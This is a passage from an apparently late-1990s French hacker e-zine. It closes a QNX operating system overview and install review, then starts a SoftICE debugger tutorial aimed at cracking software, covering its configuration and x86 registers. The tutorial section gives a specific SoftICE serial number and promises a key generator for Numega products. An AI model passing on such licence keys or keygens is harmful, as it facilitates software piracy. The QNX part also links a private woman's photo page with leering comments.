eXecute,  3  fois  pour  user/groupe/others).    Aussi,  Fsys  comporte
diffrents bidules pour  augementer  ses  performances  de  la  manire
suivante : Quand il lit diffrent fichier un aprs l'autre il s'arrange
pour les prendre dans l'ordre qu'il  seek  sur  le  disque   (comme  un
vnyle). Il se sert aussi du buffer permit par le hardware pour accder
aux fichiers les plus utiliss. Il peut aussi grer  plusieurs  disques
 la fois et plusieurs fichiers, ce qui veut dire qu'il est multi-tread
(en gros le multi-tread c comme si il se  clonait  pour  pouvoir  faire
plusieurs choses en  mme  temps).   Il  devine  lorsque  les  fichiers
temporaires ne seront pas utiliss longtemps et il ne les crit pas sur
le disque mais plutt dans la cache. Et finalement  il  peut  crer  un
ramdisk pouvant all jusqua 8 Meg. Tout a est compris dans le  module.

QNX se gosse aussi sa propre partition et peut mounter  facilement  une
partition dos a l'aide de Dosfsys qui load tout a en guest dans  /dos.
Sur la partition elle mme de  QNX,  les  informations  suivantes  sont
inscrites (dans lordre): 
- Loader : Premier bloque de la partition, contien du code qui  dit  au
  BIOS de loader le OS.
- Root block  : Peru  comme  un  rpertoire  normal,  il  contient  le
  rpertoire root (/) le fichier /.inodes,  /.boot  et  /.altboot.  Ces
  deux derniers contienne l'image du OS QNX qui est loader.
- Bitmap : QNX se sert de se fichier  pour  rpartir  l'espace  sur  le
  disque. Il contient une image des bloques libre et occups  qui  sont
  reprsenter en bit : 1 pour occuper, 0 sinon.
- Root directory : Ce rpertoire contient les vrais fichier normalement
  comme nimporte kel autre vrai rpertoire, sauf pour le cas de . et ..
  qui pointe les deux sur / et les fichiers du root block qui sont
  prsent.


Le Device Manager

Ce module s'occupe de faire l'interface entre les processus et les
priphriques terminaux. Par exemple /dev/con1 est une console. Il n'a
pas grand chose d'intressent a dire dessus, si ce n'est qu'il soccupe
du input/output des terminaux et qu'il buffer toute avec 3 queues. Ces
3 queues sont entre le Device Manager et les driver de priphrique.
Les 3 peuvent faire un maximum de 64K et sont divises de la manire
suivante : 2 pour le input et 1 pour le output raw. Le output permet
donc d'envoyer la data au driver sans le bourrer. Les 2 inputs 
fonctionnent en in et cannon pour recevoir de l'information. Le cannon
contient la grosseur maximum de la queue que peut recevoir 
l'application qui l'utilise. Je pourrais faire un schma, mais je fais
exprs pour rendre a le plus thorique possible ;-) Ces 3 queues sont
appliqu 3 fois aussi sur 3 types de drivers. 
- Console (l'cran), qui peut tre virtuelle, donc on peut avoir 
  plusieurs consoles sur un seul cran. On peut lire, crire, changer
  des bidules  l'cran, changer la grosseur et vidamment switcher 
  celle qu'on veut.
- Serial, s'occupe du hardware srie en input/output.
- Parallel, ...

~~~~~~~~~~~~~~~~~~ Intermede ~~~~~~~~~~~~~~~~~~~~~
haha
yes!
jai trouver une erreur dans le livre
moueheheh
Dans le livre ya un schma, (celui que je voulais  pas  vous  dessiner
tantot) qui montre les queues OUT/IN/CANON pour  chaque  driver,  dont
le parralle et dans le texte c'est spcifier  clairement  "Dev.par  is
an output-only driver, so it has no input or canonical input  queues."
Donc, c'est comme pas supposer tre dessiner CANON pour  le  parralle!
Quand mme, c une seconde dition rewriter 5 ans aprs la premiere...
Vive la lecture attentive :-)

~~~~~~~~~~~~~ tachon de revenir au txt normal ~~~~~~~~~~~~~~~


bon heu revenon a notre srieux la, le Parallel driver marche juste  en
output et process la data dans  une  sorte de  busy-wait  low  priority
(un ptit while).

Bon maintenant le dernier "module"...


Le Network Manager

Net de son petit nom, s'occupe de toute ce qui est rseau QNX. Il  fait
donc le lien entre les Send() Receive() et Reply(). Il permet  de  tout
balancer le load du rseau, de faire des connections redondante pour de
quoi de plus fiable et de faire le pont entre diffrents networks.  Les
liens qu'il fait sont en  faite  des  IPC  par  dessus  le  rseau.  En 
quelques mots : Net permet au processus de communiquer entre eux  entre
diffrentes nodes. Une node c'est carrment un  autre  ordinateur  avec
QNX sur le mme rseau. Le kernel lui fourni donc une queue de tout  ce
qui se passe avec les processus virtuels. Ces processus sont des  vrais
processus qui roule sur une machine, mais qui sont nomms  globalements
pour tout le rseau. Le Network Manager ne  contient  pas  les  drivers
pour les cartes rseau, il se link dessus pour  envoyer  la  data.  Une
node est identifie de 2 manires : 
- Le ID physique de la carte rseau  (MAC  adress)  et  une  combinaison
  d'un ID de node logique et d'un ID de rseau.  La  node  logique  peut
  tre simplement "2", qui est reli  la MAC adress de la carte rseau.
- Le ID du rseau permet  plusieurs rseaux logiques d'tre 
  interconnect dans une machine. 

Affaire freak qu'on peut faire avec le Network Manager :
Supposons qu'on a 2 ordis un a cot de lautre connecter en 10BASE-T. La
vitesse maximum est donc de 1100kb  par  seconde.  Si  on  branche  une
seconde carte rseau dans chaque ordi, et  qu'on  les  relit  aussi  en
10BASE-T, le Network Manager va s'occuper de passer par les 2 pour  les
mmes oprations, donc la vitesse va tre de  2200kb  par  seconde.  Le
tout se fait automatiquement selon la charge du rseau. Aussi lorsqu'il
arrive un problme avec un des liens du rseau,  Net  va  encore  d'une
manire automatique passer par un autre chemin.

TCP/IP et socket : QNX supporte vidamment le TCP/IP, d'une manire
                   driv de BSD 4.3.

Avec tout ces modules de chargs, on peut se prommner dans un  systme
QNX d'une manire particulire. 
Si "ls /" nous donne le listing du rpertoire "/", et bien "ls //1/" va
nous donner le listing du rpertoire "/" sur la node #1. La node #0 est
rserv pour faire le tout localement. Aussi, faire "//1 ls /" va faire
un ls / sur ta machine, MAIS le ls va tre excuter sur la node 1. Mme
chose pour tout rpertoire/node/programme que vous voulez :-)

et finalement nous allons vers la lumire... 

Photon : Le microkernel graphique

Le GUI disponible pour QNX s'apelle Photon. C'est  un  microkernel
graphique, un peu dans le mme genre que le microkernel lui-mme :
c'est aussi un tout petit process qui prends  peine 45ko de  code
et qui charge les diffrentes  composantes  en  modules  externes.
Il fonctionne un peu comme X Window, c'est  dire qu'il possde la
dualit client/serveur. Il  possde aussi  un  paquet  de  Widgets
prdfinis : Des scrollbars, progress bar, listes, boutons, arbre,
html viewer, etc. Il fite donc bien dans QNX, car il  est  complet
et de type "microkernel".


Conclusion of part 1

ouffe, J'avoue que tout cela en fait du stock  assimiler. Surtout  si
vous n'aviez pas de base en thorie de  systme  d'exploitation.  Mais
maintenant vous pouvez vous dire que vous en savez  pas  mal  sur  QNX
_et_ sur le fonctionnement gnral d'un OS. vidamment il reste encore
plusieurs choses intressentes a explorer genre  la  mmoire  virtuel/
pagin/protg.. QNX apporte beaucoup de choses  de  nouveau  dans  le
domaine des OS, ses fonctionalits rseau avec les IPC m'ont  vraiment
merveills, et j'espre que a la faite  autant  de  votre  cot.  En
passant QNX n'est pas un genre de 0day OS.. a  fait  plusieurs  anne
qu'il existe, mais bon c'est moins vieux que IRIX ou HP-UX.. 8-)
Bon pour ceux qui veulent bouffer du QNX jvous invite a lire la partie
2 de cet article.. qui sera compltement le contraire de la partie 1..
c'est  dire : de la pure pratique au lieu de la pure thorie. Si vous
avez passer des bouts de la premiere partie ou pire,  si  vous  l'avez
pas lu, c'pas  grave,  la  deuxime  partie  s'adresse  vraiment   un
publique plus large. Sur ce, n'arrter par de  rflchir,  la  thorie
est quand mme une chose pratique dans la vie.



            < prennez le temps d'all pisser 
                               - Scott Towel >
           


Part #2 : Try it for fun

heh 

Alors me voici live de mon cgep dans un local dsert rempli de P2 266.
Vla 2 semaine jai install QNX sur une machine,  c'est  donc    partir
d'ici que je vais crire la partie "pratique" de cet article! bon  pour
l'installation vous allez trouver a facile  c'est  sure.  C'est  aussi
facile que d'installer n'importe quel shit avec un installer tout  fait
Vraiment je crois pas que vous avez besoin d'aide la.
fak http://get.qnx.com/ ~27 meg, thats all. 
Vous allez trouver la une version "windows 9x installer".
Si vous tes pas dans Windows 9x, ou bien que vous voulez QNX sur cdrom
ben y vous reste qua downloader le ISO de ~260 Megs pis de  le  burner.
Dans ce cas vous pouvez quand meme la foutre dans votre partition FAT32
ou le mettre dans sa propre partition. 
Pkoi le installer fait 27Megs pis le ISO 260?  Paske  le  iso  contient
beaucoup plus de "packages" (exemple : quake 2 (et oui QUAKE 2!!!!!!!))
Donc au lieu de toute downloader au fur et  mesure de sur le net, vous 
n'avez qu'a le "downloader" du CDROM (fun.) 

Note : 
 rebooter votre machine plus tard.. sinon comment vous allez me lire?

Bon, advenant comme moi que vous avez install a avec le installer  et
pas sur votre ordi et que vous vous proccupez des choses dans le genre
que vous voulez pas que personne vienne bretter dessus, et  bien  faite
vous en pas QNX se load  partir d'un seul  fichier  qui  contient  son
filesys dans votre partition FAT(32) (comme  BeOs.).  Et  puis  non  a
scrappera pas votre MBR, a fait des modifications dans  le  config.sys
pour un beau petit menu (encore  la  vous  pouvez  vous  arranger  pour
cacher le tout, mais heu tant qua loader du unix sur  une  bcanne  que
vous tes pas supposer, all pogner  Trinux  (allo  kevo)  ou  bien  il
existe une verison de QNX faite pour une seule disquette
http://www.qnx.com/demodisk/index.html ) 

boot up!
Hum, on dirait que Windows 95 se load.. ah non c'est vrai a l'affiche
le screen laid (logo.sys) avant le menu.
bon
beau menu : 

Menu de dmarrage de Microsoft Windows 95 
========================================= 
1. Appuyer sur enter pour continuer 
2. Poursuite du chargement de Windows... 
3. ALL YOUR BASE ARE BELONG TO US 

Entrez un choix: _ 

vidament, j'ai chang le timeout pour 1 seconde et un peu le texte en
vrit les choix sont :
1. Windows 
2. QNX Realtime Platform
3. QNX Realtime Platform (DMA Disabled)

Fak ma prendre 1. ALL YOUR BASE ARE BELONG TO US y ma lair le fun :-)

FYI, voici le code du config.sys qui fait a :
[menu]
menuitem=WIN, Windows
menudefault=WIN,1
menuitem=QNXDMA, QNX Realtime Platform
menuitem=QNX, QNX Realtime Platform (DMA Disabled)
menucolor=7,0

bon la ya le boot leet (qui est moins long/plein de bbelle que linux) 
wow 
dja 
hehe 
oui c'est fast en titi meme sur un P2 266 a booter c'est vraiment fou
mme pas 30 secondes (pis ya le login graphik la.) 

bon alors la ya un beau petit login screen ben normal 
User Name: root 
Password: ****** 

bon 
premirement oui j'ai dj boot avec et javais toute fucker les
settings de la carte video. 
hehe 
menfin 
Si c'est votre premier boot dans QNX  vous  devriez  voir  Voyager (web
broswer de QNX) avec les help files. Comme vous tes  trop  vedge  pour
les lires et que mon article est super (hehe)  on  peut  laisser  faire
a. Bon ok, si vous aimez pas comment j'cris ET SURTOUT si vous voulez
savoir les diffrences entre votre Neutrino et le "QNX" que j'ai dcris
dans ma partie thorique de cet article all la :
http://support.qnx.com/support/docs/index.html 
C'est _toute_ la doc officiel disponible. (aprs lecture  sommaire,  on
dirait que cte doc la est "new school" et que  le  livre  que  j'ai  lu
avant de faire ma partie thorique est plutot "oldshool" (ou ben  c'est
l'effet qu'un livre me donne comparer a une page web???).

--      bon maintenant retennez a par coeur :   --
A droite cliquer sur Terminal (wow mchan quick lunch qui prend toute
mon screen de drette... pkoi? C'est simple, avec un gros quick  lunch
large de mme la place pour les fentre a dlair plus rectangle  comme
une feuille (remarquer a c mon hyprothse  personnelle)  donc  plus
user-friendlay (ta t chercher a loin last!!)
bon alors on se retrouve avec le prompt 
# _ 
la comme c'est pas meiveilleux votre partition DOS est dj mount
elle est dans le rpertoire /fs/hd0-dos dans mon cas 
donc all voir dans /fs 
# ls /fs 
C'est fun la vous devrier voir un ou plusieurs reps, donc lets go dans
celui qui vous plait 
# cd /fs/hd0-dos 
tadam 
welcome to C: 
La je vienne de comprendre que si vous avez plusieurs  partitions  elle
devrait se nommer hd0-dos hd1-dos etc etc donc all retrouver ce gentil
petit txt dans le bon rep. 
pour ouvrir le file all zy avec "ped"
# ped Mindkind01.txt 
weps!! "An error has been detected on this file." 
bon heu 
affollez-vous pas c'est surement que Windows save a en ANSI alors  que
lui s'attend a avoir du UTF truckin machin standard. a se  peut  aussi
que a vous fasse rien de spcial, mais nyways si sa vous sort  ce  msg
d'erreur, all zy avec "US Latin" et cliquer sur le bouton pour dcoder

-- Bon maintenant que vous savez tout ce bout la part coeur,
               vous pouvez rebooter dans QNX                  --

(re)Bienvenue dans QNX. 
Petit dernier "fast trouble shooting" :
Vu que je veux pas que vous devenez aussi myope que moi, on va arranger
les settings de la carte video, oui bon  c'tait  facile  au  dbut  de
choisir de quoi comme rsolution mais la avouer que le refresh rate est
trop slow, que la rsolution est mauvaise ou  que  c'est  le  contraire 
(dans mon cas le refresh rate tait TROP haut.. bad.)
Donc la aller dans le menu Lunch (hum on dirait Start ou ben "Patte  de
gnome" ou ben big K.. entk) en bas  gauche, dans Configure  et  "Video
Display". La vous avez toute vos settings y compris le settings courant
Alors la toute est hyper facile remarquer cependant qui  va  avoir  des
choix qui marcherons pas. Donc selon vos settings que vous tes habitu
all zy avec ce que vous voulez. Si vous n'avez aucune  ide,  all  zy
avec 800x600, 32bit et un Refresh Rate de 70 c'est a que j'ai  et  mon
cran a pas saut encore. (si votre cran stune 21 po metter a a  plus
que 800x600, genre 1280x1024) 

Bon la vous cliquer sur "Apply" et comme dans Windows a l'attend 15
secondes donc dpchez-vous de cliquer sur Accept !

Maintenant, Vous tes prts.


A la dcouverte de QNX 
 
Finalement, ce que je vais faire ici c'est comme vendre le OS. Je  suis
conscient que c'est pas tout le monde qui vont vouloir l'installer  ds
le dpart; surtout s'il y ne savent pas    quoi  s'attendre.  Attendez
vous pas  quelque chose de "linux",   mon  avis  c'est  plus  quelque
chose comme FreeBSD mlanger avec BeOS : Les applications  en GUI  sont
toute faite et prte et on peut rien crisser en console  moins de dj
tout savoir les commandes par coeur.

Par contre si vous voulez gosser de quoi qui  ncessite  un  OS  "unix"
rapidement, QNX est une bonne solution  peu prs comme BeOS  toute  en
tant diffrente (wow vive la diversit c'est comme pas pareil avec les
systme plus commercial dans le domaine des workstations.)

Bon alors regardons les features "hots" de QNX et les applications 
fourni avec.


Microkernel

Si vous avez lu la premiere partie de cette article vous savez dj  de
fond en comble ce qu'est le  microkernel  de  QNX.  Ils  ont  nomm  le
microkernel "Neutrino" (un neutrino est en  faite  une  des  particules
les plus petites dans un atome).

GUI

"Photon" de son nom, le GUI est ass jolie    mon  avis.  Il  me  fait
penser a du beau X-Window et ressemble un peu  BeOS. Photon a aussi un
petit frre qui s'apelle XPhoton. Ce  dernier  permet  de  charger  des
applications X-Window dans Photon, cool. Cependant il faut  l'installer
 part, car a ne vient pas dans l'installation de base. Les menus sont
comprensibles et affichent les shortcuts clavier. La  prsentation  de
base ressemble  un Start Menu. Genre ya un "Launch" en  bas    gauche
avec plusieurs shortcuts vers  des  applications.  Une  task  bar  nous
montre les applications en cours et des shortcuts et moniteurs de  CPU/
RAM/modem et controle de son. fun. L'application qui sert de  shell  et
qui affiche tout a sapelle Shelf. vidament, on peut toute  configurer
a comme on veut avec "Shelves" dans Lunch/Configure.


Applications

Dans le quick lunch de droite on retrouve une multitude  d'applications
qui font que QNX est dj pas mal complet  comme  OS  ds  sa  premire
installation.

- Helpviewer : Browser de help ben lfun qui ressemble a ce quon  peut
  retrouver dans windows avec les .chm; ass pratique car il contient
  toute la documentation sur le OS et les manpages.

- Terminal : terminal qui prompt un sh. ben simple avec des bonnes
  options de paste en popup.

- Editor (ped) : Ceci est l'diteur texte par  dfault,  il  est
  fonctionnel et il fait du texte en genre de RTF (dla  couleur,
  du bold, underline, italic, align.. etc)


~~~~~~~~~~~~~~~~~ Intermede ~~~~~~~~~~~~~~~~~~~~

et merde
chu arriver pour continuer mon article, je me dis
"bon ma all checker mes emails", je click sur le
log de hotmail.com
Voyager ne rpond plus.
J'assaye de le fermer.
Rien.
Je start un terminal tant bien que mal.. je check mon ps
je trouve le pid de Voyager.
kill -9 pid_voyager
PAFF
system lock-up.
number/shift qui rpond pu, la mouse qui bouge pu.

Conclusion : bien que a la dlair stable, QNX a plant
devant ma face en mode "normal" (donc DMA a ON).
Les autres fois jtais en mode DMA disabled et a la jamais planter.
entk faite ce que vous voulez avec cette conclusion, mais si jai jamais
planter en DMA disabled et que jai planter la premiere fois que jai
gosser en DMA  ON .. ben le monde rgulier plante. heh bon la je suis
encore en mode rgulier.. 

~~~~~~~~~~~ de retour  notre programme principal ~~~~~~~~~~~~~~~~


- File Manager : Windows users bonsoir, cet application nous permet de
  voyager dans les rpertoires du systme tout comme Windows  Explorer
  mais en plus laid.

- Image Viewer : Viewer un peu laid qui a ouvert seulement 1 des 3 BMP
  qui y avait dans la partition dos sur la machine. Au moins  les  5-6
  jpg/gif que jai pogner dans le help de QNX se sont ouvert comme faut.

- Desktop Config : Configuration de base pour les fentres et les
  backgrounds. Normal.

- Screen Saver : 12 screensavers qui ressemblent aux plus laids dans 
  Linux/X-Win. Moyen.

- Calculator : Calculatrice, rien de super, mme pas scientifique.

- Dialer : espce de shortcut qui nous ammne dans les dialup settings
  dla config du network.. surement pour montrer au puriste en  dial-up
  comment all sur le net "facilement". Remarquer ici pour le net  jai
  pas eu trop de trouble, car avec  le  rseau  ya  toute  trouv  les 
  settings tout seul (sauf le proxy bien sur).

- Voyager : Cool, un broswer. C'est pas encore Mozzila (Netscape)  ou
  Internet Explorer, mais je dirais que c comparable   la  derniere
  version de Opera, mais  qui  ressemble  tout  de  mme  au  2  bigs
  browsers. Chu pas capable de me logger dans hotmail (voir note plus
  haut dans l'intermede), mais  slashdot,  pis  doyoulookgood  marche
  bien... oh!
  Error : Out Of Image Cache Space.
  D'accord.. ya une limite de cache d'images (je suis sur dylg, et j'ai
  3 fentres de broswers de ouvert dont une sur la page de Vro  Poulin
  qui a une webcam a dlair. haha
  Bon jai t dans les Prefs pis y me demande de restarter Voyager pour
  que a fasse effet. J'ai mis 8 Mo au lieu du 4, et je peux maintenant
  voir la pic de l'amie  vero poulin. ass cute.
  bon je suppose que vous voulez le url pour faire des TESTS BIEN SURE.
  http://www.multimania.com/veropoulin/46.html
  Remarquer que le BG prend de la place en crime et si vous enlever  le
  46.html vous avez une page full de pics.. donc c'est bon pour  tester
  la cache, aussi vous pouvez ouvrir une fentre comme   dans  IE  avec
  Shift click sur le lien.. 
  Bon, je viens de remarquer aussi que le tag blink fonctionne..  Aussi
  que vro poulin est clibataire, mais son amie je sais pas. Ide : je
  vais tester si Voyager envoie bien les formulaires  et  je  vais  lui
  demander en comment. (je signe la mailling list de mindkind pour  les
  intresser  la suite de cette  histoire  folle.)  Successfull.  heh.
  Trve de plaisanterie Voyager est un bon broswer qui fait bien sa job
   mon avis c l'apps la plus cool qui vient avec le OS la.

- Vmail : hum on dirait ben un clone de Outlook, j'peux pas vraiment le
  tester mais y ma d'lair nice.

- Bon ensuite de t'a ya MediaPlayer, Mixer, NetWork CFG, Spool Mgr,
  Localisation.. self explainning.

- Package Mgr : Wow. a jai tripp ben raide.. dite que ca ressemble  
  RPM manager ou Windows Updater je men fou, je l'aime. Le  server  est
  fast et ya tout plein de progs  downloader pour installer dans  QNX,
  et toute a d'un seul click...  toute  s'installe  tout  seul!  On  y
  retrouve des patchs pour QNX, et plein de softs. Le cdrom QNX (le iso
  de 200 qq meg la) contient la plupart des affaires.. mais ya surement
  du nouveau stock ou des extras sur le  www  repository.  On  retrouve
  vraiment de toute : Perl, Python, Tin (news  reader),  Phirc,  MCFTP,
  Vim, Sendmail, pine, Quake 3, Doom, RealPlayer... ouff yen a trop :-)
  Menfin yen a en masse pour en assayer pendant qq jours sans se tanner
  Autre affaire de fun, ds que vous installer un package, ya  un  lien
  qui va s'ajouter dans le menu "Lunch". Vraiment pratique.
  (bon ok dans mon cas a me tantait pas de tapponner avec le driver 
  video fak Quake3 marche pas mais doom marche dans une petite fentre!)

Si tout a vous enchante pas, dites-vous que n'importe kel  application
console POSIX est suppose se compiler (si elle supporte QNX  bien  sr
ou si elle est _standard_) et qu'on peut runner des applications
X-Windows  l'aide de Xphoton; un serveur X qui run dans photon.


blah blah

Et bien, je vois vraiment pas quoi rajouter de plus, si ce n'est que
c'est un OS qui est  assayer (surement au mme point que BeOS).  La
version que vous downloader et installer sur votre machine n'est pas
exactement la mme "distribution" que les gros  serveurs  ont,  mais
c'est quand mme le mme microkernel et la mme  interface graphique
Ce logiciel est made-in-canada ; le  HQ d'la  co  est    Kanata  en
Ontario. Aussi QNX est pas "hyper ressent". En 1980  la  co.  a  t
fonder, et QNX a t le premier OS  offrir diffrents concepts : Le
microkernel en 81, le  processing  transparent  en  84,  microkernel
POSIX realtime en 90, web browser(Voyager) embeded dans le OS en 97,
OS avec un GUI/browser/dialer/TCPIP/etc qui rentre  dans  un  floppy
1.44, etc..

Dcidement QNX est vraiment _cool_, heh.
Bon heu m'en vas me faire tatouter QNX juste la.
The end. (mon premier article, wouhou! Le titre est par Wyze et  jle
remerci de mavoir donn le gout d'crire, j'aime a.)

                                                         -  LastCall_

-----------------------------------------------------------------------

Liens rfrencs : 
http://get.qnx.com/
http://www.qnx.com/demodisk/index.html
http://support.qnx.com/support/docs/index.html 
http://www.hotmail.com
http://www.slashdot.org
http://www.doyoulookgood.com
http://www.multimania.com/veropoulin/
 

Pour une lecture plus dtaill sur la partie
thorique rfrer vous au livre suivant :
-> QNX Operating System, System Architecture
   Gentil petit guide de 175 pages crit par QNX Software System Ldt.
   Premire dition publie en Janvier 1992, deuxime en Octobre 1997.
   Donne une aperu dtailler de la structure et des fonctions de QNX:
   Le Microkernel, les System Managers et le IPC.


.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'







<  Table #29 : ya pas juste la 8 que j'aimerais rentrer  >
        [ Another quote from a Mindkind meet ]







                                                                  .--.
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
| Softice, l'outil d'un cracker                                /  / 04 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'


Softice est un logiciel de dbogage   temps rel, il en est rendu   sa
4e version distribue  sur WindowsNT et  Windows9x. A l'origine  Softice
est un  logiciel utilis  pour trouver  les bogues  dans les   logiciels
informatiques, nous par  contre nous l'utiliserons  dans le seul  but de
cracker nos programmes cibles. Comme Softice est un des outils les  plus
utilis pour cracker, il vaudrait mieux pour  vous de bien le  connatre
enfin si  c'est ce  que vous  recherchez vraiment  sinon il  y a d'autre
texte  sur  Softice, plus  complet  pour les  programmeurs  avertis. Par
contre si c'est le cracking qui vous intresse et que vous ne connaissez
pas encore  Softice, n'hsitez  pas   lire ce  texte en  entier car mes
prochains textes sur le cracking seront relier  Softice dans la plupart
des cas.

Installez  vous confortablement  et lisez  attentivement certains  bouts
seront peut-tre un peu complexe pour ceux qui ne sont pas familis avec
les  processeurs x86.  Nous verrons  le fonctionnement  de Softice,  des
informations  prcieuses  qu'il  peut  nous  apporter et quelques petits
trucs pour vous faciliter l'utilisation de Softice.

Softice  t  cr par Numega  (http://www.numega.com), nous aurons  la
version 4.05  en tlchargement  sur le  site web  de Mindkind. Une fois
tlcharg  nous  avons  notre  fichier  d'installation  qui  se   nomme
SI405w9x.exe, alors  maintenant nous  allons l'installer,  nous cliquons
sur le fichier  d'installation et nous  arrivons  une  fentre qui nous
demande d'entrer notre numro  de srie, nous allons  entrer 4207-552339
-B9 c'est celui que j'utilise personnellement mais je fournirai un petit
gnrateur de clef qui offre les numros de srie de tous les  logiciels
que Numega ont cr, sur notre  site web. Ensuite  la fentre  suivante
il vous demande l'emplacement que vous aimeriez l'installer,  choisissez
l'emplacement par dfaut c'est--dire c:\program  file\Numega\Softice95\
et assurez-vous de cocher les  "program files" dans la fentre  suivante
et si vous voulez  en savoir plus sur  Softice cochez les documents,  le
reste  est  peu  utile.  Rendu    la  fentre  suivante  vous  aurez la
configuration de votre carte vido et de votre souris, alors si vous  ne
trouvez pas votre carte vido  dans cette petite fentre il  vous suffit
d'utiliser le "Standard  VGA" avec "Universal  Video Driver" et  cliquez
sur  le  bouton  test pour  faire  un  test de  vido  si  tout va  bien
continuez, une  fois fait  cochez le  port que  votre souris  utilise et
passez   la  fentre suivante,  elle va  vous demander  si vous  voulez
ajouter une ligne dans l'autoexec.bat,  ce moment cochez oui et allez 
la prochaine fentre,   cette fentre  vous pouvez vous  enregistrer en
ligne  pour  avoir  plus  d'information  sur  Softice  et  les nouvelles
versions qui  pourraient arriver  alors faites  ce que  bon vous chante.
Nous avons fini la configuration de  l'installation il ne reste plus que
le   message  qui  nous demande  de  redmarrer  l'ordinateur  mais  n'y
cliquez pas  et  sortez  de l'installation,  nous allons  faire quelques
modifications  un fichier de Softice avant de redmarrer.

L'dition du fichier winice.dat, le fichier de configuration de Softice.
Nous allons ouvrir ce fichier  avec un diteur texte comme  notepad.exe,
il vient avec Windows alors  vous l'avez srement. Une fois  son contenu
dvoil nous verrons les lignes de configuration, je vais vous expliquer
que les lignes  importantes, le reste  laisser le par  dfaut ou referez
vous  la  documentation de Softice  si vous voulez  en savoir plus  sur
certain paramtre.

PHYSMB=32
Cette ligne informe  Softice du nombre  de mmoire disponible  sur votre
ordinateur, remplacez donc le  32 qui est par  dfaut, par le nombre  de
mmoire vive (RAM) que  vous avez. J'ai entendu  dire qu'il y avait  des
problmes d'affichage  qui survenaient quelques fois alors si vous  avez
un problme de ce genre avec Softice n'hsitez pas  remettre ce
paramtre  32.

INIT="X;"
Cette ligne est la ligne d'initialisation, Softice excute les commandes
de  cette ligne  au dmarrage.  C'est donc  dans ce  paramtre que  vous
mettrez votre  prfrence face   Softice.  Je vais  nommer ceux  que la
plupart des gens utilisent mais  c'est personnel  chacun. Je   commence
par ajouter la  commande "Faults OFF",  cette commande met  en  sourdine
les apparitions de Softice lorsqu'il  y a des fautes dtectes. J'ajoute
aussi  la  commande  "CODE  ON",  cette  commande  affiche l'hexadcimal
(OPCODE) des  commandes ASM.  J'ajoute   la suite  les grandeurs  de la
fentre principale pour moi qui suis en rsolution 1024 j'utilise "Lines
90" et  "Width 100"  ainsi que  les grandeurs  des fentres  tel que  la
fentre des  datas "WD  15" et  la fentre  de code  "WC 40" et j'ajoute
aussi "WR" pour  faire apparatre la  fentre des registres.  Pour finir
d'ajoute la ligne pour les couleurs personnellement j'aime mieux changer
les couleurs alors a donne ceci "COLOR 0A F 70 7". Alors voici la ligne
d'initialisation que j'ai dans mon winice.dat.
INIT="Faults OFF;CODE ON;Lines 90;Width 100;WD 15;WC 40;WR;COLOR 0A F 70
7 F;X;"

;EXP=c:\windows\system\kernel32.dll
Ces lignes sont les lignes d'exportations, elles vont exporter les  apis
des fichiers  drv/dll/exe. Pour  ma part  je les  exporte tous, pour les
rendre exportable enlevez le point-virgule au dbut de la ligne.


                  Maintenant vous pouvez REDMARRER


Donc rendu   ce point si  vous devriez avoir  redmarr et donc   avoir
Softice en mmoire, il est  en tout temps accessible par  la combinaison
des touches CTRL+D. Softice se prsente sous une apparence assez sombre,
une  fentre  noire   avec  beaucoup  d'information,   de  l'information
concernant les registres, la mmoire, le code ASM et ses opcodes etc...

La fentre des registres. On affiche cette fentre avec la commande WR.

Voici  quoi ressemble la fentre des registres:
+---------------------------------------------------------------------------+
|EAX=00000000   EBX=00000000   ECX=00000000   EDX=00000000   ESI=00000000   |
|EDI=00000000   EBP=00000000   ESP=00000000   EIP=00000000  o d i s z a p c |
|CS=0000   DS=0000   SS=0000   ES=0000   FS=0000   GS=0000                  |
+---------------------------------------------------------------------------+

Cette fentre affiche les registres et leur contenu.

Pour changer le contenu d'un registre sous Softice il suffit d'utiliser
la commande "R".

Quelque exemple:
       R       ; ici un curseur apparat et nous laisse libre de
                 modifier les registres que l'on veut.
       R EBX   ; ici un curseur se positionnera sur le registre EBX
                 pour nous laisser l'diter.
       R EAX 0 ; ici le registre eax sera mit  0.

Les  registres  sont  des emplacements "mmoire interne"  au processeur,
puisque   cette   mmoire  est   dans   le  processeur   elle   a  comme
caractristique d'tre trs rapide et elle est utilise  continuellement
par   les  programmes. Il  y  a 4  grands  groupes de  registre  sur les
processeurs   x86 et  un registre  16bits un  peu spcial,  il y  a les
registres gnraux, les registres d'index, les registres  pointeur,  les
registres de  segment et un registre qui se nomme l'indicateur. Tous les
registres ont une taille de 16 bits qui ont t  attribu dans le  temps
des processeurs  8086, la naissance des processeurs x86, mais depuis  le
nouveau  processeur  386   il  est  dsormais  possible   d'utiliser les
registres  gnraux en 32bits  et mme de les sparer en 8bits (Low,High).


Les registres gnraux:
------------------------------------------------------------------------
8bits    16bits    32bits  Remarque
------------------------------------------------------------------------
AL, AH   AX        EAX     Accumulateur, sert vraiment  tout.
BL, BH   BX        EBX     Base, sert  grer l'adressage de base.
CL, CH   CX        ECX     Compteur, sert souvent dans les boucles.
DL, DH   DX        EDX     Donnes, utiliser dans les rsultats calcul.
------------------------------------------------------------------------


Les registres d'index:
------------------------------------------------------------------------
16bits    32bits  Remarque
------------------------------------------------------------------------
DI        EDI     Destination Index, sert aux copies mmoire
                  et au comparaison.
SI        ESI     Source Index, sert au copie mmoire et au comparaison
------------------------------------------------------------------------


Les registres pointeur:
------------------------------------------------------------------------
16bits    32bits  Remarque
------------------------------------------------------------------------
BP        EBP     Base Pointer, Associer au registre de segment SS.
SP        ESP     Stack Pointer, Associer au registre de segment SS.
IP        EIP     Instruction Pointer, Pointe sur l'instruction en
                  excution. C'est le pointeur de la pile.
------------------------------------------------------------------------


Les registres de segments:
------------------------------------------------------------------------
16bits       Remarque
------------------------------------------------------------------------
CS           Code Segment, contient les instructions qui seront
             excutes.
DS           Data Segment, contient les donnes.
SS           Stack Segment, permet d'accder  la pile.
ES           Extra Segment, utilis lors des copies de bloc.
FS           Segment Supplmentaire, ressemble beaucoup  ES.
GS           Segment Supplmentaire, ressemble beaucoup  ES.
------------------------------------------------------------------------


Le registre indicateur:
------------------------------------------------------------------------

O D I S Z A P C           Leur Nom
| | | | | | | |
| | | | | | | +------- Carry     Flag
| | | | | | +--------- Parity    Flag
| | | | | +----------- Auxiliary Flag
| | | | +------------- Zero      Flag
| | | +--------------- Sign      Flag
| | +----------------- Interrupt Flag
| +------------------- Direction Flag
